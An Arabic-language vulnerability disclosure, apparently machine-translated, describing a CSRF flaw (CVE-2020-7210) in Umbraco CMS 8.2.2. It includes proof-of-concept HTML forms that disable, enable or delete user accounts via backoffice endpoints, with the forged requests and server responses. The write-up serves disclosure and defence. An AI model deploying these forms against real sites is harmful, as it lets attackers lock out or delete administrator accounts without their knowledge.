يمكن استخدام تزوير الطلبات عبر المواقع لتقديم طلبات ويب عشوائية إلى نظام إدارة محتوى Umbraco CMS وتحديد مستخدميها دون علمهم. يتطلب مثل هذا الهجوم دائمًا التفاعل مع المستخدم ، ولكن كقاعدة عامة ، يكفي أن يتبع الضحية رابطًا تم إعداده خصيصًا أو زيارة صفحة ويب تحت سيطرة المهاجم. هذا يجعل من الممكن تنشيط أو إلغاء تنشيط أو حذف حسابات المستخدم بالكامل. ونتيجة لذلك ، هناك تهديد بهجمات DoS على الحسابات.
خلفية
خلال اختبار اختراق الموارد الصغيرة تم اكتشاف CSRF -uyazvimost في وقت جديد في Umbraco CMS. سمحت هذه الثغرة بتنشيط حسابات المستخدمين أو إلغاء تنشيطها أو حذفها بالكامل ، بما في ذلك تلك التي تتمتع بامتيازات إدارية.على الرغم من حقيقة أنه في أحدث تقرير OWASP العشرة 2017 ، تركت نقاط الضعف في CSRF قائمة العشرة الأكثر أهمية ، فمن السابق لأوانه استبعادها.تم اختبار الثغرة الأمنية في الإصدار 8.2.2 ؛ في الإصدار 8.5 ، تم إصلاحه بالفعل ، ولكن من المحتمل أن تظل الإصدارات الأخرى السابقة له عرضة للاختراق. نوصي مستخدمي هذا المنتج بشدة بالترقية على الفور إلى أحدث إصدار متاح.إثبات المفهوم
في حالة حدوث هجوم حقيقي ، سيتم وضع مستند HTML التالي على موقع ويب ضار يتحكم فيه مهاجم.مثال 1: HTML لتعطيل مستخدم
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
طلب يتم إرساله إلى الخادم نيابة عن الضحية:POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
الرد الوارد من الخادم:HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close
)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}
مثال 2: HTML لتمكين المستخدم
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
تحقيق:POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
إجابة:HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close
)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}
مثال 3: HTML لحذف مستخدم
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
تحقيق:POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
إجابة:HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close
)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}
يتلقى الضحية ردًا من الخادم بتنسيق JSON (شاشة قابلة للنقر).بمجرد أن يقوم الضحية المصدق (المسؤول) بزيارة موقع ويب يحتوي على HTML خبيث مضمن ، يبدأ المحتوى الضار النشط في التنفيذ في سياق جلسة الضحية. على الرغم من أن الإجابات على هذه الطلبات لا يتم تسليمها إلى المهاجم ، إلا أنه في كثير من الحالات سيكون كافياً بالنسبة له أن يعرض سلامة معلومات الضحية المخزنة على الموقع للخطر ، أو أن ينفذ طلبات مخالفة محتملة لمواقع أخرى.بدلا من الاستنتاج
على الرغم من أن المزيد والمزيد من الهجمات قد انتقلت مؤخرًا إلى جانب الخادم من جانب العميل ، إلا أنها لا تزال بحاجة إلى الاهتمام الواجب. بعد التحدث مع العميل ، اتصلنا بسرعة ببائع منتج البرنامج وتلقينا معلومات حول التصحيح. تم تعيين الضعف مؤشر CVE-2020-7210. أعترف ، بصفتي كبطل ، هذه هي نقطة الضعف الأولى التي تتلقى مؤشر CVE.